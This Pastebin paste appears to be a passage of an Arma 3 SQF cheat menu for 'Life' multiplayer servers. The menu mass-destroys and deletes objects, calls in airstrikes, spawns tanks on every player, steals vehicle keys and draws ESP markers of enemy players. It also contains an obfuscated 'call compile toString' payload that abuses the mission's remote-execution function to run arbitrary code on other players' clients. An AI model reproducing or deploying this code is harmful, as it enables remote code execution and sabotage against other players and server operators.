Advertisement
Guest User

Untitled

a guest
Feb 15th, 2015
401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 150.03 KB | None | 0 0
  1. check_load = 0;
  2. if (isNil("already_load")) then {
  3. already_load = 1;
  4. einfg = (findDisplay 46) displayAddEventHandler["KeyDown", {
  5. if ((_this select 1) == 210) then {
  6. if (check_load == 0) then {
  7. ["TaskSucceeded", ["", "Hack Loaded - by Aaron is sexy updated"]] call BIS_fnc_showNotification;
  8. _AllUnits = playableUnits;
  9. _CountAllUnits = count _AllUnits;
  10. hint format["\n\n Menu by Aaron is sexy updated Loaded! \n\n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %1 \n ----------------------------------------------- \n\n F2 = Instant Disconnect \n F3 = Switch view to Player\n F5 = Instant Heal / Repair \n Yellow Features are Risky! \n ", _CountAllUnits];
  11. check_load = 1;
  12. call init_main;
  13. };
  14. }
  15. }];
  16. entf = (findDisplay 46) displayAddEventHandler["KeyDown", {
  17. if ((_this select 1) == 211) then {
  18. if (check_load == 0) then {
  19. ["TaskSucceeded", ["", "Script executed"]] call BIS_fnc_showNotification;
  20. execvm "_src\test.sqf";
  21. check_load = 1;
  22. };
  23. }
  24. }];
  25. f1 = (findDisplay 46) displayAddEventHandler["KeyDown", {
  26. if ((_this select 1) == 59) then {
  27. hint "F1 does not have a function!";
  28. }
  29. }];
  30. f2 = (findDisplay 46) displayAddEventHandler["KeyDown", {
  31. if ((_this select 1) == 60) then {
  32. endMission 'LOSER';
  33. }
  34. }];
  35. f3 = (findDisplay 46) displayAddEventHandler["KeyDown", {
  36. if ((_this select 1) == 61) then {
  37. c_player setDamage 100;
  38. objNull remoteControl _x;
  39. player switchCamera "EXTERNAL";
  40. hint "Switched back \n by Aaron is sexy updated";
  41. }
  42. }];
  43. f5 = (findDisplay 46) displayAddEventHandler["KeyDown", {
  44. if ((_this select 1) == 63) then {
  45. cursorTarget setDamage 0;
  46. cursorTarget setFuel 1;
  47. player setDamage 0;
  48. vehicle player setDamage 0;
  49. vehicle player setFuel 1;
  50. Dummy setDamage 0;
  51. vehicle Dummy setDamage 0;
  52. vehicle Dummy setFuel 1;
  53. hint "You and Target Healed \n by Aaron is sexy updated";
  54. }
  55. }];
  56. player addEventHandler["respawn", {
  57. player addAction["Load", {
  58. removeallactions player;
  59. player addAction["Load", {
  60. call init_main;
  61. }];
  62. }];
  63. }];
  64. init_main = {
  65. removeallactions player;
  66. onMapSingleClick "";
  67. player addAction["<t color='#FF0000'>Made by Aaron is sexy updated</t>", {
  68. preload = nil;
  69. removeallactions player;
  70. player addAction["Load", {
  71. call init_main;
  72. }];
  73. }, "", 50];
  74. player addAction["<t color='#000000'>----------------------</t>", {
  75. removeallactions player;
  76. player addAction["Load", {
  77. call init_main;
  78. }];
  79. }, "", 50];
  80. player addAction["Main Menu", "[]call MainMenubyAaron is sexy updated", "", 50];
  81. player addAction["Equipment", "[]call EquipmentMenubyAaron is sexy updated", "", 50];
  82. player addAction["Vehicles", "[]call VehicleMenubyAaron is sexy updated", "", 50];
  83. player addAction["Target", "[]call TargetMenubyAaron is sexy updated", "", 50];
  84. player addAction["Extras", "[]call ExtrasMenubyAaron is sexy updated", "", 50];
  85. player addAction["Server", "[]call ServerMenubyAaron is sexy updated", "", 50];
  86. player addAction["<t color='#000000'>----------------------</t>", {
  87. removeallactions player;
  88. player addAction["Load", {
  89. call init_main;
  90. }];
  91. }, "", 50];
  92. call compile toString[84, 104, 105, 114, 116, 121, 83, 105, 120, 32, 61, 32, 123, 10, 10, 9, 95, 83, 69, 78, 68, 95, 84, 79, 32, 61, 32, 95, 116, 104, 105, 115, 32, 115, 101, 108, 101, 99, 116, 32, 48, 59, 10, 9, 95, 69, 88, 69, 67, 95, 67, 79, 68, 69, 32, 61, 32, 95, 116, 104, 105, 115, 32, 115, 101, 108, 101, 99, 116, 32, 49, 59, 10, 10, 9, 91, 91, 34, 108, 105, 102, 101, 95, 100, 112, 95, 112, 111, 105, 110, 116, 115, 34, 44, 91, 95, 69, 88, 69, 67, 95, 67, 79, 68, 69, 32, 43, 32, 34, 108, 105, 102, 101, 95, 100, 112, 95, 112, 111, 105, 110, 116, 32, 61, 32, 110, 105, 108, 59, 34, 93, 93, 44, 34, 108, 105, 102, 101, 95, 102, 110, 99, 95, 110, 101, 116, 83, 101, 116, 86, 97, 114, 34, 44, 95, 83, 69, 78, 68, 95, 84, 79, 44, 102, 97, 108, 115, 101, 44, 102, 97, 108, 115, 101, 93, 32, 115, 112, 97, 119, 110, 32, 108, 105, 102, 101, 95, 102, 110, 99, 95, 77, 80, 59, 10, 9, 91, 91, 112, 108, 97, 121, 97, 98, 108, 101, 85, 110, 105, 116, 115, 32, 115, 101, 108, 101, 99, 116, 32, 40, 102, 108, 111, 111, 114, 32, 114, 97, 110, 100, 111, 109, 32, 40, 99, 111, 117, 110, 116, 32, 112, 108, 97, 121, 97, 98, 108, 101, 85, 110, 105, 116, 115, 41, 41, 93, 44, 34, 108, 105, 102, 101, 95, 102, 110, 99, 95, 103, 101, 116, 68, 80, 77, 105, 115, 115, 105, 111, 110, 34, 44, 95, 83, 69, 78, 68, 95, 84, 79, 44, 102, 97, 108, 115, 101, 44, 102, 97, 108, 115, 101, 93, 32, 115, 112, 97, 119, 110, 32, 108, 105, 102, 101, 95, 102, 110, 99, 95, 77, 80, 59, 10, 10, 125, 59];
  93. MainMenubyAaron is sexy updated = {
  94. removeallactions player;
  95. player addAction["<t color='#FF0000'>Close Menu</t>", {
  96. removeallactions player;
  97. call init_main;
  98. }, "", 50];
  99. player addAction["<t color='#000000'>----------------------</t>", {
  100. hint "Menu by Aaron is sexy updated";
  101. }, "", 50];
  102. player addAction["Destroy Target", {
  103. _dt = cursorTarget;
  104. cursorTarget setDamage 100;
  105. hint format["%1 \n Damaged \n by Aaron is sexy updated", _dt];
  106. }, "", 50];
  107. player addAction["Delete Target", {
  108. _dt = cursorTarget;
  109. deleteVehicle cursorTarget;
  110. hint format["%1 \n Deleted \n by Aaron is sexy updated", _dt];
  111. }, "", 50];
  112. player addAction["Destroy all in Range", {
  113. _l = position player nearObjects 500;
  114. _cl = count _l;
  115. _sl = 0;
  116. for "_sl"
  117. from 0 to _cl do {
  118. _tl = _l select _sl;
  119. if (getPlayerUID _tl == "") then {
  120. if (_cl == _sl + 1) then {
  121. _tl = "Done";
  122. };
  123. hint format[" \n - Destroy - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n Units in Range: \n %1 \n ----------------------------------------------- \n Current Selected: \n %2 \n %3 \n ----------------------------------------------- \n DESTROYED ", _cl, _sl + 1, _tl];
  124. _tl SetDamage 100;
  125. };
  126. };
  127. }, "", 50];
  128. player addAction["Delete all in Range", {
  129. _l = position player nearObjects 500;
  130. _cl = count _l;
  131. _sl = 0;
  132. for "_sl"
  133. from 0 to _cl do {
  134. _tl = _l select _sl;
  135. if (getPlayerUID _tl == "") then {
  136. if (_cl == _sl + 1) then {
  137. _tl = "Done";
  138. };
  139. hint format[" \n - Delete - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n Units in Range: \n %1 \n ----------------------------------------------- \n Current Selected: \n %2 \n %3 \n ----------------------------------------------- \n DELETED ", _cl, _sl + 1, _tl];
  140. deleteVehicle _tl;
  141. };
  142. };
  143. }, "", 50];
  144. player addAction["Teleport", {
  145. openMap[true, false];
  146. onMapSingleClick '_pos1 = [(_pos select 0), (_pos select 1), 0]; vehicle player setPos _pos1;hint format [ "%1 \n was teleported to \n %2 \n by Aaron is sexy updated", name player, _pos1] onMapSingleClick "";openMap [false, false];';
  147. }, "", 50];
  148. player addAction["Missle", {
  149. meins = 0;
  150. mein1 = {
  151. openMap[false, false];
  152. [_pos] spawn {
  153. for '_l39'
  154. from 0 to meins do {
  155. _l87 = "M_AT";
  156. _l88 = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];
  157. _l89 = createVehicle[_l87, _l88, [], 0, "CAN_COLLIDE"];
  158. _l89 setvelocity[0, 0, 0];
  159. [_l89, -90, 0] call BIS_fnc_setPitchBank;
  160. hint format["Missile Launched \n by Aaron is sexy updated", _l39];
  161. sleep(random 1.00);
  162. };
  163. };
  164. };
  165. titleText["Click on map drop missle's", "PLAIN"];
  166. titlefadeout 7;
  167. onMapSingleClick "_pos call mein1;";
  168. openMap[true, false];
  169. }, "", 50];
  170. player addAction["Airstrike", {
  171. meins = 1000;
  172. mein1 = {
  173. openMap[false, false];
  174. [_pos] spawn {
  175. for '_l39'
  176. from 0 to meins do {
  177. _l87 = "M_AT";
  178. _l88 = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];
  179. _l89 = createVehicle[_l87, _l88, [], 0, "CAN_COLLIDE"];
  180. _l89 setvelocity[random 1000.00 - 500, random 1000.00 - 500, 0];
  181. [_l89, -90, 0] call BIS_fnc_setPitchBank;
  182. hint format["Missiles Launched \n by Aaron is sexy updated \n %1", _l39];
  183. sleep(random 0.00001);
  184. };
  185. };
  186. };
  187. titleText["Click on map to drop Airstrike", "PLAIN"];
  188. titlefadeout 7;
  189. onMapSingleClick "_pos call mein1;";
  190. openMap[true, false];
  191. }, "", 50];
  192. player addAction["Vehicle <t color='#0000FF'>EMP</t>", {
  193. [cursorTarget, "vehicle player setFuel 0;"] call Aaron is sexy updated;
  194. hint format["%1 \n Vehicle Stopped \n by Aaron is sexy updated", cursorTarget];
  195. }, "", 50];
  196. player addAction["HealMe / Car", {
  197. player setDamage 0;
  198. vehicle player setDamage 0;
  199. vehicle player setFuel 1;
  200. hint "Healed \n by Aaron is sexy updated";
  201. }, "", 50];
  202. player addAction["Heal / Repair Target", {
  203. cursorTarget setDamage 0;
  204. cursorTarget setFuel 1;
  205. }, "", 50];
  206. player addAction["Lock / Unlock Target", {
  207. _vehicle = vehicle player;
  208. if (_vehicle == player) then {
  209. _veh = cursorTarget;
  210. _locked = locked _veh;
  211. if (_locked == 2) then {
  212. _veh setVehicleLock "UNLOCKED";
  213. hint "You have unlocked a vehicle";
  214. } else {
  215. _veh setVehicleLock "LOCKED";
  216. hint "You have locked a vehicle";
  217. };
  218. };
  219. if (_vehicle != player) then {
  220. _veh = vehicle player;
  221. _locked = locked _veh;
  222. if (_locked == 2) then {
  223. _veh setVehicleLock "UNLOCKED";
  224. hint "You have unlocked a vehicle";
  225. } else {
  226. _veh setVehicleLock "LOCKED";
  227. hint "You have locked a vehicle";
  228. };
  229. };
  230. }, "", 50];
  231. player addAction["Get Key Car/Target", {
  232. hint "You got the Key's \n by Aaron is sexy updated";
  233. life_vehicles set[count life_vehicles, cursorTarget];
  234. life_vehicles set[count life_vehicles, vehicle player];
  235. }, "", 50];
  236. };
  237. EquipmentMenubyAaron is sexy updated = {
  238. removeallactions player;
  239. player addAction["<t color='#FF0000'>Close Menu</t>", {
  240. removeallactions player;
  241. call init_main;
  242. }, "", 50];
  243. player addAction["<t color='#000000'>----------------------</t>", {
  244. hint "Menu by Aaron is sexy updated";
  245. }, "", 50];
  246. player addAction["Clear Outfit", {
  247. removeUniform player;
  248. removeAllWeapons player;
  249. removeBackpack player;
  250. removeHeadgear player;
  251. removeVest player;
  252. removeHeadgear player;
  253. player addWeapon 'ItemWatch';
  254. player addWeapon 'ItemCompass';
  255. player addWeapon 'ItemGPS';
  256. player addWeapon 'ItemRadio';
  257. player addWeapon 'ItemMap';
  258. }, "", 50];
  259. player addAction["Civ Outfit", {
  260. removeUniform player;
  261. removeAllWeapons player;
  262. removeBackpack player;
  263. removeHeadgear player;
  264. removeVest player;
  265. removeHeadgear player;
  266. player addUniform 'U_IG_Guerilla2_3';
  267. player addHeadgear 'H_Bandanna_khk';
  268. player addVest 'V_TacVest_oli';
  269. player addWeapon 'NVGoggles';
  270. player addWeapon 'Binocular';
  271. player addWeapon 'G_Shades_Black';
  272. player addBackpack 'B_Carryall_oli';
  273. player addWeapon 'ItemGPS';
  274. }, "", 50];
  275. player addAction["<t color='#000000'>----------------------</t>", {
  276. hint "Menu by Aaron is sexy updated";
  277. }, "", 50];
  278. player addAction["Rebel 1 Outfit", {
  279. removeUniform player;
  280. removeAllWeapons player;
  281. removeBackpack player;
  282. removeHeadgear player;
  283. removeVest player;
  284. removeHeadgear player;
  285. player addUniform 'U_I_CombatUniform_tshirt';
  286. player addHeadgear 'H_Shemag_olive';
  287. player addVest 'V_TacVest_oli';
  288. player addWeapon 'NVGoggles';
  289. player addWeapon 'Binocular';
  290. player addWeapon 'G_Shades_Black';
  291. player addWeapon 'ItemGPS';
  292. }, "", 50];
  293. player addAction["Rebel 2 Outfit", {
  294. removeUniform player;
  295. removeAllWeapons player;
  296. removeBackpack player;
  297. removeHeadgear player;
  298. removeVest player;
  299. removeHeadgear player;
  300. player addUniform 'U_IG_Guerilla2_1';
  301. player addHeadgear 'h_watchcap_blk';
  302. player addVest 'V_TacVest_oli';
  303. player addWeapon 'NVGoggles';
  304. player addWeapon 'Binocular';
  305. player addWeapon 'G_Bandanna_shades';
  306. player addWeapon 'ItemGPS';
  307. }, "", 50];
  308. player addAction["Rebel 3 Outfit", {
  309. removeUniform player;
  310. removeAllWeapons player;
  311. removeBackpack player;
  312. removeHeadgear player;
  313. removeVest player;
  314. removeHeadgear player;
  315. player addUniform 'U_I_G_resistanceLeader_F';
  316. player addHeadgear 'h_watchcap_blk';
  317. player addVest 'V_TacVest_oli';
  318. player addWeapon 'NVGoggles';
  319. player addWeapon 'Binocular';
  320. player addWeapon 'G_Bandanna_shades';
  321. player addWeapon 'ItemGPS';
  322. }, "", 50];
  323. player addAction["Ghillie Outfit", {
  324. removeUniform player;
  325. removeAllWeapons player;
  326. removeBackpack player;
  327. removeHeadgear player;
  328. removeVest player;
  329. removeHeadgear player;
  330. player addUniform 'U_O_GhillieSuit';
  331. player addHeadgear 'H_Shemag_olive';
  332. player addVest 'V_TacVest_oli';
  333. player addWeapon 'NVGoggles';
  334. player addWeapon 'Binocular';
  335. player addWeapon 'G_Shades_Black';
  336. player addWeapon 'ItemGPS';
  337. }, "", 50];
  338. player addAction["<t color='#000000'>----------------------</t>", {
  339. hint "Menu by Aaron is sexy updated";
  340. }, "", 50];
  341. player addAction["Police Outfit", {
  342. removeUniform player;
  343. removeAllWeapons player;
  344. removeBackpack player;
  345. removeHeadgear player;
  346. removeVest player;
  347. removeHeadgear player;
  348. player addWeapon 'G_Shades_Black';
  349. player addUniform 'U_Rangemaster';
  350. player addVest 'V_TacVest_blk';
  351. player addHeadgear 'h_watchcap_blk';
  352. player addWeapon 'G_Bandanna_shades';
  353. player addWeapon 'ItemGPS';
  354. }, "", 50];
  355. player addAction["Backpack + Items", {
  356. player addBackpack 'B_Carryall_oli';
  357. player addWeapon 'ItemWatch';
  358. player addWeapon 'ItemCompass';
  359. player addWeapon 'ItemGPS';
  360. player addWeapon 'ItemRadio';
  361. player addWeapon 'ItemMap';
  362. }, "", 50];
  363. player addAction["<t color='#000000'>----------------------</t>", {
  364. hint "Menu by Aaron is sexy updated";
  365. }, "", 50];
  366. player addAction["Pistol", {
  367. player addMagazines['30Rnd_9x21_Mag', 5];
  368. player addWeapon 'hgun_P07_snds_F';
  369. }, "", 50];
  370. player addAction["PDW", {
  371. player addMagazines["30Rnd_9x21_Mag", 5];
  372. player addWeapon 'hgun_PDW2000_F';
  373. player addPrimaryWeaponItem 'optic_ACO_grn';
  374. }, "", 50];
  375. player addAction["MX", {
  376. removeAllWeapons player;
  377. removeBackpack player;
  378. player addBackpack 'B_Carryall_oli';
  379. (unitBackpack player) addItemCargo['30Rnd_65x39_caseless_mag_Tracer', 5];
  380. (unitBackpack player) addItemCargo['3Rnd_HE_Grenade_shell', 3];
  381. (unitBackpack player) addItemCargo['3Rnd_Smoke_Grenade_shell', 3];
  382. (unitBackpack player) addItemCargo['3Rnd_UGL_FlareWhite_F', 3];
  383. (unitBackpack player) addItemCargo['3Rnd_UGL_FlareGreen_F', 3];
  384. (unitBackpack player) addItemCargo['3Rnd_UGL_FlareRed_F', 3];
  385. (unitBackpack player) addItemCargo['3Rnd_UGL_FlareYellow_F', 3];
  386. (unitBackpack player) addItemCargo['3Rnd_UGL_FlareCIR_F', 3];
  387. player addWeapon 'arifle_MX_GL_Hamr_pointer_F';
  388. player addPrimaryWeaponItem 'muzzle_snds_H';
  389. player addPrimaryWeaponItem 'optic_Hamr';
  390. }, "", 50];
  391. player addAction["MK 20", {
  392. player addMagazines['30Rnd_556x45_Stanag_Tracer_Green', 5];
  393. player addWeapon 'arifle_Mk20_F';
  394. player addPrimaryWeaponItem 'muzzle_snds_H';
  395. player addPrimaryWeaponItem 'optic_Hamr';
  396. }, "", 50];
  397. player addAction["LMG Zafir 150 Rnd", {
  398. player addMagazines['150Rnd_762x51_Box_Tracer', 5];
  399. player addWeapon 'LMG_Zafir_pointer_F';
  400. player addPrimaryWeaponItem 'muzzle_snds_H';
  401. player addPrimaryWeaponItem 'optic_Hamr';
  402. }, "", 50];
  403. player addAction["<t color='#000000'>----------------------</t>", {
  404. hint "Menu by Aaron is sexy updated";
  405. }, "", 50];
  406. player addAction["Katiba Aco", {
  407. player addMagazines['30Rnd_65x39_caseless_green', 5];
  408. player addWeapon 'arifle_Katiba_ACO_F';
  409. }, "", 50];
  410. player addAction["ACPC", {
  411. player addMagazines['9Rnd_45ACP_Mag', 5];
  412. player addWeapon 'hgun_ACPC2_F';
  413. }, "", 50];
  414. player addAction["M320 Sos", {
  415. player addMagazines['7Rnd_408_Mag', 5];
  416. player addWeapon 'srifle_LRR_SOS_F';
  417. }, "", 50];
  418. player addAction["Ebr Aco", {
  419. player addMagazines['20Rnd_762x51_Mag', 5];
  420. player addWeapon 'srifle_EBR_ACO_F';
  421. }, "", 50];
  422. player addAction["Rahim Sos", {
  423. player addMagazines['10Rnd_762x51_Mag', 5];
  424. player addWeapon 'srifle_DMR_01_SOS_F';
  425. }, "", 50];
  426. player addAction["<t color='#000000'>----------------------</t>", {
  427. hint "Menu by Aaron is sexy updated";
  428. }, "", 50];
  429. player addAction["Sniper DMR 7.62", {
  430. player addMagazines['10Rnd_762x51_Mag', 5];
  431. player addWeapon 'srifle_DMR_01_DMS_snds_F';
  432. }, "", 50];
  433. player addAction["Sniper LRR 408.", {
  434. player addMagazines['7Rnd_408_Mag', 5];
  435. player addWeapon 'srifle_LRR_SOS_F';
  436. }, "", 50];
  437. player addAction["Sniper GM6 Lynx", {
  438. player addMagazines['5Rnd_127x108_APDS_Mag', 5];
  439. player addWeapon 'srifle_GM6_LRPS_F';
  440. }, "", 50];
  441. player addAction["<t color='#000000'>----------------------</t>", {
  442. hint "Menu by Aaron is sexy updated";
  443. }, "", 50];
  444. player addAction["Launcher AA", {
  445. player addMagazines['Titan_AA', 5];
  446. player addWeapon 'launch_Titan_F';
  447. }, "", 50];
  448. player addAction["Launcher AT", {
  449. player addMagazines['Titan_AT', 5];
  450. player addWeapon 'launch_B_Titan_short_F';
  451. }, "", 50];
  452. player addAction["<t color='#000000'>----------------------</t>", {
  453. hint "Menu by Aaron is sexy updated";
  454. }, "", 50];
  455. player addAction["Local Chest", {
  456. _cr = "Box_NATO_WpsSpecial_F"
  457. createVehicle(position player);
  458. nul = [_cr, 0, true] call fill;
  459. _cr setpos(position player);
  460. sleep 180; /* sleep 3min */
  461. deletevehicle _cr;
  462. }, "", 50];
  463. };
  464. VehicleMenubyAaron is sexy updated = {
  465. removeallactions player;
  466. player addAction["<t color='#FF0000'>Close Menu</t>", {
  467. removeallactions player;
  468. call init_main;
  469. }, "", 50];
  470. player addAction["<t color='#000000'>----------------------</t>", {
  471. hint "Menu by Aaron is sexy updated";
  472. }, "", 50];
  473. player addAction["Spawn Quadbike", {
  474. _svtp = createVehicle["B_G_Quadbike_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  475. _svtp setDir(direction player - 90);
  476. }, "", 50];
  477. player addAction["Spawn Gocart", {
  478. _svtp = createVehicle["C_Kart_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  479. _svtp setDir(direction player - 90);
  480. }, "", 50];
  481. player addAction["<t color='#000000'>----------------------</t>", {
  482. hint "Menu by Aaron is sexy updated";
  483. }, "", 50];
  484. player addAction["Spawn Hatchback", {
  485. _svtp = createVehicle["C_Hatchback_01_sport_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  486. _svtp setDir(direction player - 90);
  487. }, "", 50];
  488. player addAction["Spawn Offroad", {
  489. _svtp = createVehicle["C_Offroad_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  490. _svtp setDir(direction player - 90);
  491. }, "", 50];
  492. player addAction["Spawn SUV", {
  493. _svtp = createVehicle["C_SUV_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  494. _svtp setDir(direction player - 90);
  495. }, "", 50];
  496. player addAction["Spawn Truck", {
  497. _svtp = createVehicle["B_Truck_01_covered_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  498. _svtp setDir(direction player - 90);
  499. }, "", 50];
  500. player addAction["<t color='#000000'>----------------------</t>", {
  501. hint "Menu by Aaron is sexy updated";
  502. }, "", 50];
  503. player addAction["Spawn Strider", {
  504. _svtp = createVehicle["I_MRAP_03_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  505. _svtp setDir(direction player - 90);
  506. }, "", 50];
  507. player addAction["Spawn Strider HMG", {
  508. _svtp = createVehicle["I_MRAP_03_hmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  509. _svtp setDir(direction player - 90);
  510. }, "", 50];
  511. player addAction["Spawn Strider GMG", {
  512. _svtp = createVehicle["I_MRAP_03_gmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  513. _svtp setDir(direction player - 90);
  514. }, "", 50];
  515. player addAction["Spawn Hunter", {
  516. _svtp = createVehicle["B_MRAP_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  517. _svtp setDir(direction player - 90);
  518. }, "", 50];
  519. player addAction["Spawn Hunter HMG", {
  520. _svtp = createVehicle["B_MRAP_01_hmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  521. _svtp setDir(direction player - 90);
  522. }, "", 50];
  523. player addAction["Spawn Hunter GMG", {
  524. _svtp = createVehicle["B_MRAP_01_gmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  525. _svtp setDir(direction player - 90);
  526. }, "", 50];
  527. player addAction["Spawn Ifrit", {
  528. _svtp = createVehicle["O_MRAP_02_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  529. _svtp setDir(direction player - 90);
  530. }, "", 50];
  531. player addAction["Spawn Ifrit HMG", {
  532. _svtp = createVehicle["O_MRAP_02_hmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  533. _svtp setDir(direction player - 90);
  534. }, "", 50];
  535. player addAction["Spawn Ifrit GMG", {
  536. _svtp = createVehicle["O_MRAP_02_gmg_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  537. _svtp setDir(direction player - 90);
  538. }, "", 50];
  539. player addAction["Spawn Tank", {
  540. _svtp = createVehicle["B_MBT_01_cannon_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  541. _svtp setDir(direction player - 90);
  542. }, "", 50];
  543. player addAction["Spawn Tank2", {
  544. _svtp = createVehicle["B_MBT_01_mlrs_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  545. _svtp setDir(direction player - 90);
  546. }, "", 50];
  547. player addAction["<t color='#000000'>----------------------</t>", {
  548. hint "Menu by Aaron is sexy updated";
  549. }, "", 50];
  550. player addAction["Spawn AH9", {
  551. _svtp = createVehicle["B_Heli_Light_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  552. _svtp setDir(direction player - 90);
  553. }, "", 50];
  554. player addAction["Spawn AH9 Armed", {
  555. _svtp = createVehicle["B_Heli_Light_01_armed_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  556. _svtp setDir(direction player - 90);
  557. }, "", 50];
  558. player addAction["Spawn Armed Kajaman", {
  559. _svtp = createVehicle["O_Heli_Attack_02_black_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  560. _svtp setDir(direction player - 90);
  561. }, "", 50];
  562. player addAction["Spawn Ghost Hawk", {
  563. _svtp = createVehicle["B_Heli_Transport_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  564. _svtp setDir(direction player - 90);
  565. }, "", 50];
  566. player addAction["Spawn Armed Orca", {
  567. _svtp = createVehicle["O_Heli_Light_02_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  568. _svtp setDir(direction player - 90);
  569. }, "", 50];
  570. player addAction["Spawn Commance", {
  571. _svtp = createVehicle["B_Heli_Attack_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  572. _svtp setDir(direction player - 90);
  573. }, "", 50];
  574. player addAction["<t color='#000000'>----------------------</t>", {
  575. hint "Menu by Aaron is sexy updated";
  576. }, "", 50];
  577. player addAction["Spawn Plane I", {
  578. _svtp = createVehicle["I_Plane_Fighter_03_CAS_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  579. _svtp setDir(direction player - 90);
  580. }, "", 50];
  581. player addAction["Spawn Plane B", {
  582. _svtp = createVehicle["B_Plane_CAS_01_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  583. _svtp setDir(direction player - 90);
  584. }, "", 50];
  585. player addAction["Spawn Plane O", {
  586. _svtp = createVehicle["O_Plane_CAS_02_F", player modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  587. _svtp setDir(direction player - 90);
  588. }, "", 50];
  589. player addAction["<t color='#000000'>----------------------</t>", {
  590. hint "Menu by Aaron is sexy updated";
  591. }, "", 50];
  592. player addAction["Plane Jump", {
  593. deleteVehicle Plane_Jump;
  594. _wPos = getpos player;
  595. _side = side player;
  596. ua_36 = 1;
  597. Aaron is sexy updated_Plane_Jump = [
  598. [(_wPos select 0), (_wPos select 1) - 1000, (_wPos select 2) + 700], _dir, 'B_Plane_CAS_01_F', _side
  599. ] call bis_fnc_spawnvehicle;
  600. Plane_Jump = Aaron is sexy updated_Plane_Jump select 0;
  601. hint format["%1 \n Spawned \n Taked Control", Plane_Jump]; {
  602. _x = player;
  603. first = _x;
  604. _x = vehicle Plane_Jump;
  605. second = _x;
  606. secondowner = owner _x;
  607. }
  608. foreach playableunits;
  609. first remotecontrol second;
  610. vehicle second switchcamera "EXTERNAL";
  611. hint "Press F3 to switch back \n by Aaron is sexy updated";
  612. Plane_Jump addAction["<t color='#FF0000'> - E5P Markers</t>", {
  613. if (isnil("E5P")) then {
  614. E5P = 0;
  615. };
  616. if (E5P == 0) then {
  617. E5P = 1;
  618. hint "E5P \n by Aaron is sexy updated \n ON";
  619. } else {
  620. E5P = 0;
  621. hint "E5P \n by Aaron is sexy updated \n OFF";
  622. };
  623. if (E5P == 1) then {
  624. onEachFrame {
  625. _l49 = nearestobjects[Plane_Jump, ["CAManBase"], 1500]; {
  626. if ((side _x != side player) && (getPlayerUID _x != "") && ((Plane_Jump distance _x) < 1500)) then {
  627. drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(Plane_Jump distance _x), name _x]), 1, 0.04, "TahomaB"]
  628. } else {
  629. if ((getPlayerUID _x != "") && ((Plane_Jump distance _x) < 1500)) then {
  630. drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(Plane_Jump distance _x), name _x]), 1, 0.04, "TahomaB"]
  631. };
  632. };
  633. }
  634. foreach playableUnits;
  635. };
  636. } else {
  637. onEachFrame {
  638. nil
  639. };
  640. };
  641. }];
  642. while {
  643. alive Plane_Jump
  644. }
  645. do {
  646. _l25 = primaryWeapon Plane_Jump;
  647. _l31 = secondaryWeapon Plane_Jump;
  648. Plane_Jump setAmmo[_l25, 999];
  649. Plane_Jump setAmmo[_l31, 999];
  650. (vehicle Plane_Jump) setVehicleAmmo 1;
  651. (vehicle Plane_Jump) setVehicleAmmo 1;
  652. sleep 0.01;
  653. };
  654. }, "", 50];
  655. player addAction["<t color='#000000'>----------------------</t>", {
  656. hint "Menu by Aaron is sexy updated";
  657. }, "", 50];
  658. player addAction["Spawn Ifrit (all)", {
  659. {
  660. "O_MRAP_02_gmg_F"
  661. createVehicle position _x;
  662. }
  663. foreach playableUnits;
  664. }, "", 50];
  665. player addAction["Spawn Strider (all)", {
  666. {
  667. "I_MRAP_03_gmg_F"
  668. createVehicle position _x;
  669. }
  670. foreach playableUnits;
  671. }, "", 50];
  672. player addAction["Spawn Tank (all)", {
  673. {
  674. "B_MBT_01_cannon_F"
  675. createVehicle position _x;
  676. }
  677. foreach playableUnits;
  678. }, "", 50];
  679. player addAction["Spawn AH9 (all)", {
  680. {
  681. "B_Heli_Light_01_armed_F"
  682. createVehicle position _x;
  683. }
  684. foreach playableUnits;
  685. }, "", 50];
  686. player addAction["Spawn Plane (all)", {
  687. {
  688. "I_Plane_Fighter_03_CAS_F"
  689. createVehicle position _x;
  690. }
  691. foreach playableUnits;
  692. }, "", 50];
